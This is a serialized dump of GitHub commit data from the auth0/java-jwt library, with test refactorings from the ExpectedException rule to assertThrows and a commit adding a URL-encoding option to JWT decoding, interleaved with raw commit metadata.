-        String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYmYiOjE0Nzc1OTJ9.wq4ZmnSF2VOxcQBxPLfeh1J2Ozy1Tj5iUaERm3FKaw8";
-        JWTVerifier.BaseVerification verification = (JWTVerifier.BaseVerification) JWTVerifier.init(Algorithm.HMAC256("secret"));
-        verification
-                .build(mockOneSecondEarlier)
-                .verify(token);
+        IncorrectClaimException e = assertThrows(null, IncorrectClaimException.class, () -> {
+            String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYmYiOjE0Nzc1OTJ9.wq4ZmnSF2VOxcQBxPLfeh1J2Ozy1Tj5iUaERm3FKaw8";
+            JWTVerifier.BaseVerification verification = (JWTVerifier.BaseVerification) JWTVerifier.init(Algorithm.HMAC256("secret"));
+            verification
+                    .build(mockOneSecondEarlier)
+                    .verify(token);
+        });
+        assertThat(e.getMessage(), is("The Token can't be used before 1970-01-18T02:26:32Z."));
+        assertThat(e.getClaimName(), is(PublicClaims.NOT_BEFORE));
+        assertThat(e.getClaimValue().asLong(), is(1477592L));
     }
 
     @Test
@@ -804,16 +804,16 @@ public void shouldThrowOnNegativeNotBeforeLeeway() {
     // Issued At with future date
     @Test
     public void shouldThrowOnFutureIssuedAt() {
-        exception.expect(IncorrectClaimException.class);
-        exception.expectMessage("The Token can't be used before 1970-01-18T02:26:32Z.");
-        exception.expect(hasClaimName(PublicClaims.ISSUED_AT));
-        exception.expect(hasClaimValue(1477592L, Long.class));
-
-        String token = "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE0Nzc1OTJ9.CWq-6pUXl1bFg81vqOUZbZrheO2kUBd2Xr3FUZmvudE";
-        JWTVerifier.BaseVerification verification = (JWTVerifier.BaseVerification) JWTVerifier.init(Algorithm.HMAC256("secret"));
+        IncorrectClaimException e = assertThrows(null, IncorrectClaimException.class, () -> {
+            String token = "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE0Nzc1OTJ9.CWq-6pUXl1bFg81vqOUZbZrheO2kUBd2Xr3FUZmvudE";
+            JWTVerifier.BaseVerification verification = (JWTVerifier.BaseVerification) JWTVerifier.init(Algorithm.HMAC256("secret"));
 
-        DecodedJWT jwt = verification.build(mockOneSecondEarlier).verify(token);
-        assertThat(jwt, is(notNullValue()));
+            DecodedJWT jwt = verification.build(mockOneSecondEarlier).verify(token);
+            assertThat(jwt, is(notNullValue()));
+        });
+        assertThat(e.getMessage(), is("The Token can't be used before 1970-01-18T02:26:32Z."));
+        assertThat(e.getClaimName(), is(PublicClaims.ISSUED_AT));
+        assertThat(e.getClaimValue().asLong(), is(1477592L));
     }
 
     // Issued At with future date and ignore flag
@@ -829,16 +829,16 @@ public void shouldSkipIssuedAtVerificationWhenFlagIsPassed() {
 
     @Test
     public void shouldThrowOnInvalidIssuedAtIfPresent() {
-        exception.expect(IncorrectClaimException.class);
-        exception.expectMessage("The Token can't be used before 1970-01-18T02:26:32Z.");
-        exception.expect(hasClaimName(PublicClaims.ISSUED_AT));
-        exception.expect(hasClaimValue(1477592L, Long.class));
-
-        String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpYXQiOjE0Nzc1OTJ9.0WJky9eLN7kuxLyZlmbcXRL3Wy8hLoNCEk5CCl2M4lo";
-        JWTVerifier.BaseVerification verification = (JWTVerifier.BaseVerification) JWTVerifier.init(Algorithm.HMAC256("secret"));
-        verification
-                .build(mockOneSecondEarlier)
-                .verify(token);
+        IncorrectClaimException e = assertThrows(null, IncorrectClaimException.class, () -> {
+            String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpYXQiOjE0Nzc1OTJ9.0WJky9eLN7kuxLyZlmbcXRL3Wy8hLoNCEk5CCl2M4lo";
+            JWTVerifier.BaseVerification verification = (JWTVerifier.BaseVerification) JWTVerifier.init(Algorithm.HMAC256("secret"));
+            verification
+                    .build(mockOneSecondEarlier)
+                    .verify(token);
+        });
+        assertThat(e.getMessage(), is("The Token can't be used before 1970-01-18T02:26:32Z."));
+        assertThat(e.getClaimName(), is(PublicClaims.ISSUED_AT));
+        assertThat(e.getClaimValue().asLong(), is(1477592L));
     }
 
     @Test
@@ -887,16 +887,16 @@ public void shouldValidateJWTId() {
 
     @Test
     public void shouldThrowOnInvalidJWTId() {
-        exception.expect(IncorrectClaimException.class);
-        exception.expectMessage("The Claim 'jti' value doesn't match the required one.");
-        exception.expect(hasClaimName("jti"));
-        exception.expect(hasClaimValue("jwt_id_123", String.class));
-
-        String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJqdGkiOiJqd3RfaWRfMTIzIn0.0kegfXUvwOYioP8PDaLMY1IlV8HOAzSVz3EGL7-jWF4";
-        JWTVerifier.init(Algorithm.HMAC256("secret"))
-                .withJWTId("invalid")
-                .build()
-                .verify(token);
+        IncorrectClaimException e = assertThrows(null, IncorrectClaimException.class, () -> {
+            String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJqdGkiOiJqd3RfaWRfMTIzIn0.0kegfXUvwOYioP8PDaLMY1IlV8HOAzSVz3EGL7-jWF4";
+            JWTVerifier.init(Algorithm.HMAC256("secret"))
+                    .withJWTId("invalid")
+                    .build()
+                    .verify(token);
+        });
+        assertThat(e.getMessage(), is("The Claim 'jti' value doesn't match the required one."));
+        assertThat(e.getClaimName(), is("jti"));
+        assertThat(e.getClaimValue().asString(), is("jwt_id_123"));
     }
 
     @Test
@@ -963,19 +963,19 @@ public void shouldSkipClaimValidationsIfNoClaimsRequired() {
 
     @Test
     public void shouldThrowWhenVerifyingClaimPresenceButClaimNotPresent() {
-        exception.expect(MissingClaimException.class);
-        exception.expectMessage("The Claim 'missing' is not present in the JWT.");
-        exception.expect(hasMissingClaimName("missing"));
+        MissingClaimException e = assertThrows(null, MissingClaimException.class, () -> {
+            String jwt = JWTCreator.init()
+                    .withClaim("custom", "")
+                    .sign(Algorithm.HMAC256("secret"));
 
-        String jwt = JWTCreator.init()
-                .withClaim("custom", "")
-                .sign(Algorithm.HMAC256("secret"));
-
-        JWTVerifier verifier = JWTVerifier.init(Algorithm.HMAC256("secret"))
-                .withClaimPresence("missing")
-                .build();
+            JWTVerifier verifier = JWTVerifier.init(Algorithm.HMAC256("secret"))
+                    .withClaimPresence("missing")
+                    .build();
 
-        verifier.verify(jwt);
+            verifier.verify(jwt);
+        });
+        assertThat(e.getMessage(), is("The Claim 'missing' is not present in the JWT."));
+        assertThat(e.getClaimName(), is("missing"));
     }
 
     @Test
@@ -1120,19 +1120,19 @@ public void shouldSuccessfullyVerifyClaimWithPredicate() {
 
     @Test
     public void shouldThrowWhenPredicateReturnsFalse() {
-        exception.expect(IncorrectClaimException.class);
-        exception.expectMessage("The Claim 'claimName' value doesn't match the required one.");
-        exception.expect(hasClaimName("claimName"));
-        exception.expect(hasClaimValue("claimValue", String.class));
+        IncorrectClaimException e = assertThrows(null, IncorrectClaimException.class, () -> {
+            String jwt = JWTCreator.init()
+                    .withClaim("claimName", "claimValue")
+                    .sign(Algorithm.HMAC256("secret"));
 
-        String jwt = JWTCreator.init()
-                .withClaim("claimName", "claimValue")
-                .sign(Algorithm.HMAC256("secret"));
-
-        JWTVerifier.init(Algorithm.HMAC256("secret"))
-                .withClaim("claimName", (claim, decodedJWT) -> "nope".equals(claim.asString()))
-                .build()
-                .verify(jwt);
+            JWTVerifier.init(Algorithm.HMAC256("secret"))
+                    .withClaim("claimName", (claim, decodedJWT) -> "nope".equals(claim.asString()))
+                    .build()
+                    .verify(jwt);
+        });
+        assertThat(e.getMessage(), is("The Claim 'claimName' value doesn't match the required one."));
+        assertThat(e.getClaimName(), is("claimName"));
+        assertThat(e.getClaimValue().asString(), is("claimValue"));
     }
 
     @Test
@@ -1162,34 +1162,34 @@ public void shouldSuccessfullyVerifyClaimWithNull() {
 
     @Test
     public void shouldThrowWhenNullClaimHasValue() {
-        exception.expect(IncorrectClaimException.class);
-        exception.expectMessage("The Claim 'claimName' value doesn't match the required one.");
-        exception.expect(hasClaimName("claimName"));
-        exception.expect(hasClaimValue("value", String.class));
+        IncorrectClaimException e = assertThrows(null, IncorrectClaimException.class, () -> {
+            String jwt = JWTCreator.init()
+                    .withClaim("claimName", "value")
+                    .sign(Algorithm.HMAC256("secret"));
 
-        String jwt = JWTCreator.init()
-                .withClaim("claimName", "value")
-                .sign(Algorithm.HMAC256("secret"));
-
-        JWTVerifier.init(Algorithm.HMAC256("secret"))
-                .withNullClaim("claimName")
-                .build()
-                .verify(jwt);
+            JWTVerifier.init(Algorithm.HMAC256("secret"))
+                    .withNullClaim("claimName")
+                    .build()
+                    .verify(jwt);
+        });
+        assertThat(e.getMessage(), is("The Claim 'claimName' value doesn't match the required one."));
+        assertThat(e.getClaimName(), is("claimName"));
+        assertThat(e.getClaimValue().asString(), is("value"));
     }
 
     @Test
     public void shouldThrowWhenNullClaimIsMissing() {
-        exception.expect(MissingClaimException.class);
-        exception.expectMessage("The Claim 'anotherClaimName' is not present in the JWT.");
-        exception.expect(hasMissingClaimName("anotherClaimName"));
-
-        String jwt = JWTCreator.init()
-                .withClaim("claimName", "value")
-                .sign(Algorithm.HMAC256("secret"));
-
-        JWTVerifier.init(Algorithm.HMAC256("secret"))
-                .withNullClaim("anotherClaimName")
-                .build()
-                .verify(jwt);
+        MissingClaimException e = assertThrows(null, MissingClaimException.class, () -> {
+            String jwt = JWTCreator.init()
+                    .withClaim("claimName", "value")
+                    .sign(Algorithm.HMAC256("secret"));
+
+            JWTVerifier.init(Algorithm.HMAC256("secret"))
+                    .withNullClaim("anotherClaimName")
+                    .build()
+                    .verify(jwt);
+        });
+        assertThat(e.getMessage(), is("The Claim 'anotherClaimName' is not present in the JWT."));
+        assertThat(e.getClaimName(), is("anotherClaimName"));
     }
 }uh     }(jYN  (acff9b0f7c0372b61dbf8496533c9eab0416b603jN  <lib/src/test/java/com/auth0/jwt/matchers/CustomMatchers.javajN  removedjN  K jN  KrjN  KrjN  https://github.com/auth0/java-jwt/blob/67df3d476024cbe697b3a54893f5383945c7670d/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fmatchers%2FCustomMatchers.javajN  https://github.com/auth0/java-jwt/raw/67df3d476024cbe697b3a54893f5383945c7670d/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fmatchers%2FCustomMatchers.javajN  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fmatchers%2FCustomMatchers.java?ref=67df3d476024cbe697b3a54893f5383945c7670djN  X  @@ -1,114 +0,0 @@
-package com.auth0.jwt.matchers;
-
-import com.auth0.jwt.exceptions.IncorrectClaimException;
-import com.auth0.jwt.exceptions.MissingClaimException;
-import com.auth0.jwt.exceptions.TokenExpiredException;
-import com.auth0.jwt.interfaces.Claim;
-import org.hamcrest.Description;
-import org.hamcrest.Matcher;
-import org.hamcrest.TypeSafeMatcher;
-
-import java.time.Instant;
-import java.util.Arrays;
-
-public class CustomMatchers {
-    public static Matcher<MissingClaimException> hasMissingClaimName(final String claimName) {
-        return new TypeSafeMatcher<MissingClaimException>() {
-            @Override
-            public void describeTo(Description description) {
-                description.appendText("MissingClaimException with claim name: "+claimName);
-            }
-
-            @Override
-            protected boolean matchesSafely(MissingClaimException item) {
-                return item.getClaimName().equals(claimName);
-            }
-        };
-    }
-
-    public static Matcher<TokenExpiredException> hasTokenExpiredOn(final Instant instant) {
-        return new TypeSafeMatcher<TokenExpiredException>() {
-            @Override
-            public void describeTo(Description description) {
-                description.appendText("TokenExpiredException with expired time as: "+instant.getEpochSecond());
-            }
-
-            @Override
-            protected boolean matchesSafely(TokenExpiredException item) {
-                return item.getExpiredOn().equals(instant);
-            }
-        };
-    }
-
-    public static Matcher<IncorrectClaimException> hasClaimName(final String claimName) {
-        return new TypeSafeMatcher<IncorrectClaimException>() {
-            @Override
-            public void describeTo(Description description) {
-                description.appendText("IncorrectClaimException with claim name: "+claimName);
-            }
-
-            @Override
-            protected boolean matchesSafely(IncorrectClaimException item) {
-                return item.getClaimName().equals(claimName);
-            }
-        };
-    }
-
-    public static <T> Matcher<IncorrectClaimException> hasClaimValue(final Object value, final Class<T> clazz) {
-        return new TypeSafeMatcher<IncorrectClaimException>() {
-            @Override
-            public void describeTo(Description description) {
-                description.appendText("IncorrectClaimException with claim : "+value);
-            }
-
-            @Override
-            protected boolean matchesSafely(IncorrectClaimException item) {
-                return item.getClaimValue().as(clazz).equals(value);
-            }
-        };
-    }
-
-    public static <T> Matcher<IncorrectClaimException> hasClaimInstant(final Instant value, final Class<T> clazz) {
-        return new TypeSafeMatcher<IncorrectClaimException>() {
-            @Override
-            public void describeTo(Description description) {
-                description.appendText("IncorrectClaimException with claim : "+value);
-            }
-
-            @Override
-            protected boolean matchesSafely(IncorrectClaimException item) {
-                return item.getClaimValue().as(clazz).equals(value);
-            }
-        };
-    }
-
-    public static <T> Matcher<IncorrectClaimException> hasClaimValueArray(final Object value, final Class<T> clazz) {
-        return new TypeSafeMatcher<IncorrectClaimException>() {
-            @Override
-            public void describeTo(Description description) {
-                description.appendText("IncorrectClaimException with claim : "+value);
-            }
-
-            @Override
-            protected boolean matchesSafely(IncorrectClaimException item) {
-                return Arrays.equals((Object[]) item.getClaimValue().as(clazz), (Object[])value);
-            }
-        };
-    }
-
-    public static <T> Matcher<IncorrectClaimException> hasNullClaim() {
-        return new TypeSafeMatcher<IncorrectClaimException>() {
-            @Override
-            public void describeTo(Description description) {
-                description.appendText("IncorrectClaimException with claim as null");
-            }
-
-            @Override
-            protected boolean matchesSafely(IncorrectClaimException item) {
-                boolean a = item.getClaimValue().isNull();
-                String b = item.getClaimValue().toString();
-                return item.getClaimValue().isNull();
-            }
-        };
-    }
-}ueu(232f26cc19d200b5f683e783dbcf35062713239d}(sha(232f26cc19d200b5f683e783dbcf35062713239dnode_idEC_kwDOAQtL0doAKDIzMmYyNmNjMTlkMjAwYjVmNjgzZTc4M2RiY2YzNTA2MjcxMzIzOWQcommit}(author}(nameli.heemailli.he@thoughtworks.comdate2022-10-26T09:27:54Zu	committer}(jN  li.hejN  li.he@thoughtworks.comjN  2022-10-26T09:27:54Zumessage-feat: DecodedJWT add default decoded functiontree}(jN  (efa9ec12ac19ae0abfc6b7489f5579759dabe54durl^https://api.github.com/repos/auth0/java-jwt/git/trees/efa9ec12ac19ae0abfc6b7489f5579759dabe54dujN  `https://api.github.com/repos/auth0/java-jwt/git/commits/232f26cc19d200b5f683e783dbcf35062713239d
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuujN  \https://api.github.com/repos/auth0/java-jwt/commits/232f26cc19d200b5f683e783dbcf35062713239dhtml_urlQhttps://github.com/auth0/java-jwt/commit/232f26cc19d200b5f683e783dbcf35062713239dcomments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/232f26cc19d200b5f683e783dbcf35062713239d/commentsjN  }(loginheli-twidJPjN  U_kgDOBcxQpA
avatar_url4https://avatars.githubusercontent.com/u/97276068?v=4gravatar_idh3jN  $https://api.github.com/users/heli-twjN  https://github.com/heli-tw
followers_url.https://api.github.com/users/heli-tw/followers
following_url;https://api.github.com/users/heli-tw/following{/other_user}	gists_url4https://api.github.com/users/heli-tw/gists{/gist_id}starred_url;https://api.github.com/users/heli-tw/starred{/owner}{/repo}subscriptions_url2https://api.github.com/users/heli-tw/subscriptionsorganizations_url)https://api.github.com/users/heli-tw/orgs	repos_url*https://api.github.com/users/heli-tw/repos
events_url5https://api.github.com/users/heli-tw/events{/privacy}received_events_url4https://api.github.com/users/heli-tw/received_eventstypeUser
site_adminujN  }(jO  heli-twjO  JPjN  U_kgDOBcxQpAjO  4https://avatars.githubusercontent.com/u/97276068?v=4jO  h3jN  $https://api.github.com/users/heli-twjN  https://github.com/heli-twj
O  .https://api.github.com/users/heli-tw/followersjO  ;https://api.github.com/users/heli-tw/following{/other_user}jO  4https://api.github.com/users/heli-tw/gists{/gist_id}jO  ;https://api.github.com/users/heli-tw/starred{/owner}{/repo}jO  2https://api.github.com/users/heli-tw/subscriptionsjO  )https://api.github.com/users/heli-tw/orgsjO  *https://api.github.com/users/heli-tw/reposjO  5https://api.github.com/users/heli-tw/events{/privacy}jO  4https://api.github.com/users/heli-tw/received_eventsjO  UserjO  uparents]}(jN  (9cc069f4de8bafeb32bd73b0a046ef3b82d06582jN  \https://api.github.com/repos/auth0/java-jwt/commits/9cc069f4de8bafeb32bd73b0a046ef3b82d06582jN  Qhttps://github.com/auth0/java-jwt/commit/9cc069f4de8bafeb32bd73b0a046ef3b82d06582uastats}(totalKz	additionsKT	deletionsK&ufiles](}(jN  (589132d04d0450e1f16dd738122f830f110b037dfilename(lib/src/main/java/com/auth0/jwt/JWT.javastatusmodifiedj8O  Kj9O  KchangesK!blob_urlhttps://github.com/auth0/java-jwt/blob/232f26cc19d200b5f683e783dbcf35062713239d/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWT.javaraw_urlhttps://github.com/auth0/java-jwt/raw/232f26cc19d200b5f683e783dbcf35062713239d/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWT.javacontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWT.java?ref=232f26cc19d200b5f683e783dbcf35062713239dpatchXh  @@ -28,7 +28,21 @@ public JWT() {
      * @throws JWTDecodeException if any part of the token contained an invalid jwt or JSON format of each of the jwt parts.
      */
     public DecodedJWT decodeJwt(String token) throws JWTDecodeException {
-        return new JWTDecoder(parser, token);
+        return decodeJwt(token, true);
+    }
+
+    /**
+     * Decode a given Json Web Token.
+     * <p>
+     * Note that this method <b>doesn't verify the token's signature!</b> Use it only if you trust the token or you already verified it.
+     *
+     * @param token with jwt format as string.
+     * @param isUrlEncoded dose the JWT encoded with urlEncoder
+     * @return a decoded JWT.
+     * @throws JWTDecodeException if any part of the token contained an invalid jwt or JSON format of each of the jwt parts.
+     */
+    public DecodedJWT decodeJwt(String token, boolean isUrlEncoded) throws JWTDecodeException {
+        return new JWTDecoder(token, isUrlEncoded);
     }
 
     /**
@@ -41,9 +55,24 @@ public DecodedJWT decodeJwt(String token) throws JWTDecodeException {
      * @throws JWTDecodeException if any part of the token contained an invalid jwt or JSON format of each of the jwt parts.
      */
     public static DecodedJWT decode(String token) throws JWTDecodeException {
-        return new JWTDecoder(token);
+        return decode(token, true);
     }
 
+    /**
+     * Decode a given Json Web Token.
+     * <p>
+     * Note that this method <b>doesn't verify the token's signature!</b> Use it only if you trust the token or you already verified it.
+     *
+     * @param token with jwt format as string.
+     * @param isUrlEncoded dose the JWT encoded with urlEncoder
+     * @return a decoded JWT.
+     * @throws JWTDecodeException if any part of the token contained an invalid jwt or JSON format of each of the jwt parts.
+     */
+    public static DecodedJWT decode(String token, boolean isUrlEncoded) throws JWTDecodeException {
+        return new JWTDecoder(token, isUrlEncoded);
+    }
+
+
     /**
      * Returns a {@link JWTVerifier} builder with the algorithm to be used to validate token signature.
      *u}(jN  (b24fc03abde56a3ece336c58652e254fff430956j>O  /lib/src/main/java/com/auth0/jwt/JWTDecoder.javaj@O  modifiedj8O  Kj9O  KjBO  KjCO  https://github.com/auth0/java-jwt/blob/232f26cc19d200b5f683e783dbcf35062713239d/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTDecoder.javajEO  https://github.com/auth0/java-jwt/raw/232f26cc19d200b5f683e783dbcf35062713239d/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTDecoder.javajGO  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTDecoder.java?ref=232f26cc19d200b5f683e783dbcf35062713239djIO  X  @@ -10,7 +10,6 @@
 import java.io.Serializable;
 import java.nio.charset.StandardCharsets;
 import java.time.Instant;
-import java.util.Base64;
 import java.util.Date;
 import java.util.List;
 import java.util.Map;
@@ -27,18 +26,28 @@ final class JWTDecoder implements DecodedJWT, Serializable {
     private final String[] parts;
     private final Header header;
     private final Payload payload;
+    private final boolean urlEncoded;
 
     JWTDecoder(String jwt) throws JWTDecodeException {
-        this(new JWTParser(), jwt);
+        this(new JWTParser(), jwt, true);
+    }
+
+    JWTDecoder(String jwt, boolean isUrlEncoded) throws JWTDecodeException {
+        this(new JWTParser(), jwt, isUrlEncoded);
     }
 
     JWTDecoder(JWTParser converter, String jwt) throws JWTDecodeException {
+        this(converter, jwt, true);
+    }
+
+    JWTDecoder(JWTParser converter, String jwt, boolean isUrlEncoded) throws JWTDecodeException {
         parts = TokenUtils.splitToken(jwt);
+        urlEncoded = isUrlEncoded;
         String headerJson;
         String payloadJson;
         try {
-            headerJson = new String(Base64.getUrlDecoder().decode(parts[0]), StandardCharsets.UTF_8);
-            payloadJson = new String(Base64.getUrlDecoder().decode(parts[1]), StandardCharsets.UTF_8);
+            headerJson = new String(getDecodedHeader(), StandardCharsets.UTF_8);
+            payloadJson = new String(getDecodedPayload(), StandardCharsets.UTF_8);
         } catch (NullPointerException e) {
             throw new JWTDecodeException("The UTF-8 Charset isn't initialized.", e);
         } catch (IllegalArgumentException e){
@@ -149,6 +158,11 @@ public String getSignature() {
         return parts[2];
     }
 
+    @Override
+    public boolean isUrlEncoded() {
+        return urlEncoded;
+    }
+
     @Override
     public String getToken() {
         return String.format("%s.%s.%s", parts[0], parts[1], parts[2]);u}(jN  (9eb8bac4f6ee37d74affcccd8ccf0a4b458125d5j>O  9lib/src/main/java/com/auth0/jwt/algorithms/Algorithm.javaj@O  modifiedj8O  Kj9O  KjBO  KjCO  https://github.com/auth0/java-jwt/blob/232f26cc19d200b5f683e783dbcf35062713239d/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FAlgorithm.javajEO  https://github.com/auth0/java-jwt/raw/232f26cc19d200b5f683e783dbcf35062713239d/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FAlgorithm.javajGO  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FAlgorithm.java?ref=232f26cc19d200b5f683e783dbcf35062713239djIO  X  @@ -354,26 +354,13 @@ public String toString() {
         return description;
     }
 
-    /**
-     * Verify the given token using this Algorithm instance.
-     *
-     * @param jwt the already decoded JWT (urlEncoded) that it's going to be verified.
-     * @throws SignatureVerificationException if the Token's Signature is invalid,
-     *                                        meaning that it doesn't match the signatureBytes,
-     *                                        or if the Key is invalid.
-     */
-    public void verify(DecodedJWT jwt) throws SignatureVerificationException {
-        verify(jwt, true);
-    }
-
     /**
      * Verify the given token using this Algorithm instance.
      *
      * @param jwt the already decoded JWT that it's going to be verified.
-     * @param isUrlEncoded dose the JWT encoded with urlEncoder
      * @throws SignatureVerificationException if the Token's Signature is invalid, meaning that it doesn't match the signatureBytes, or if the Key is invalid.
      */
-    public abstract void verify(DecodedJWT jwt, boolean isUrlEncoded) throws SignatureVerificationException;
+    public abstract void verify(DecodedJWT jwt) throws SignatureVerificationException;
 
     /**
      * Sign the given content using this Algorithm instance.u}(jN  (6e21f54c758eedbf2bf1a37040d043e2bad5ca1fj>O  >lib/src/main/java/com/auth0/jwt/algorithms/ECDSAAlgorithm.javaj@O  modifiedj8O  Kj9O  KjBO  KjCO  https://github.com/auth0/java-jwt/blob/232f26cc19d200b5f683e783dbcf35062713239d/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSAAlgorithm.javajEO  https://github.com/auth0/java-jwt/raw/232f26cc19d200b5f683e783dbcf35062713239d/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSAAlgorithm.javajGO  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSAAlgorithm.java?ref=232f26cc19d200b5f683e783dbcf35062713239djIO  X  @@ -40,11 +40,10 @@ class ECDSAAlgorithm extends Algorithm {
     }
 
     @Override
-    public void verify(DecodedJWT jwt, boolean isUrlEncoded) throws SignatureVerificationException {
+    public void verify(DecodedJWT jwt) throws SignatureVerificationException {
         try {
-            Base64.Decoder decoder = isUrlEncoded ? Base64.getUrlDecoder() : Base64.getDecoder();
 
-            byte[] signatureBytes = decoder.decode(jwt.getSignature());
+            byte[] signatureBytes = jwt.getDecodedSignature();
             ECPublicKey publicKey = keyProvider.getPublicKeyById(jwt.getKeyId());
             if (publicKey == null) {
                 throw new IllegalStateException("The given Public Key is null.");u}(jN  (40e73469e21517b17553ccc2f9ae718f7d46a383j>O  =lib/src/main/java/com/auth0/jwt/algorithms/HMACAlgorithm.javaj@O  modifiedj8O  Kj9O  KjBO  KjCO  https://github.com/auth0/java-jwt/blob/232f26cc19d200b5f683e783dbcf35062713239d/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FHMACAlgorithm.javajEO  https://github.com/auth0/java-jwt/raw/232f26cc19d200b5f683e783dbcf35062713239d/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FHMACAlgorithm.javajGO  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FHMACAlgorithm.java?ref=232f26cc19d200b5f683e783dbcf35062713239djIO  X
  @@ -46,10 +46,9 @@ static byte[] getSecretBytes(String secret) throws IllegalArgumentException {
     }
 
     @Override
-    public void verify(DecodedJWT jwt, boolean isUrlEncoded) throws SignatureVerificationException {
+    public void verify(DecodedJWT jwt) throws SignatureVerificationException {
         try {
-            Base64.Decoder decoder = isUrlEncoded ? Base64.getUrlDecoder() : Base64.getDecoder();
-            byte[] signatureBytes = decoder.decode(jwt.getSignature());
+            byte[] signatureBytes = jwt.getDecodedSignature();
             boolean valid = crypto.verifySignatureFor(getDescription(), secret, jwt.getHeader(), jwt.getPayload(), signatureBytes);
             if (!valid) {
                 throw new SignatureVerificationException(this);u}(jN  (c1b1ad57d6bb4bc633ee5c18d39e9f8db598c314j>O  =lib/src/main/java/com/auth0/jwt/algorithms/NoneAlgorithm.javaj@O  modifiedj8O  Kj9O  KjBO  KjCO  https://github.com/auth0/java-jwt/blob/232f26cc19d200b5f683e783dbcf35062713239d/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FNoneAlgorithm.javajEO  https://github.com/auth0/java-jwt/raw/232f26cc19d200b5f683e783dbcf35062713239d/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FNoneAlgorithm.javajGO  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FNoneAlgorithm.java?ref=232f26cc19d200b5f683e783dbcf35062713239djIO  Xw  @@ -13,11 +13,10 @@ class NoneAlgorithm extends Algorithm {
     }
 
     @Override
-    public void verify(DecodedJWT jwt, boolean isUrlEncoded) throws SignatureVerificationException {
+    public void verify(DecodedJWT jwt) throws SignatureVerificationException {
         try {
-            Base64.Decoder decoder = isUrlEncoded ? Base64.getUrlDecoder() : Base64.getDecoder();
 
-            byte[] signatureBytes = decoder.decode(jwt.getSignature());
+            byte[] signatureBytes = jwt.getDecodedSignature();
 
             if (signatureBytes.length > 0) {
                 throw new SignatureVerificationException(this);u}(jN  (5d3c80b6faecedee5844f3c58fceee3413eeb803j>O  <lib/src/main/java/com/auth0/jwt/algorithms/RSAAlgorithm.javaj@O  modifiedj8O  Kj9O  KjBO  KjCO  https://github.com/auth0/java-jwt/blob/232f26cc19d200b5f683e783dbcf35062713239d/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FRSAAlgorithm.javajEO  https://github.com/auth0/java-jwt/raw/232f26cc19d200b5f683e783dbcf35062713239d/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FRSAAlgorithm.javajGO  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FRSAAlgorithm.java?ref=232f26cc19d200b5f683e783dbcf35062713239djIO  X  @@ -36,11 +36,10 @@ class RSAAlgorithm extends Algorithm {
     }
 
     @Override
-    public void verify(DecodedJWT jwt, boolean isUrlEncoded) throws SignatureVerificationException {
+    public void verify(DecodedJWT jwt) throws SignatureVerificationException {
         try {
-            Base64.Decoder decoder = isUrlEncoded ? Base64.getUrlDecoder() : Base64.getDecoder();
 
-            byte[] signatureBytes = decoder.decode(jwt.getSignature());
+            byte[] signatureBytes = jwt.getDecodedSignature();
             RSAPublicKey publicKey = keyProvider.getPublicKeyById(jwt.getKeyId());
             if (publicKey == null) {
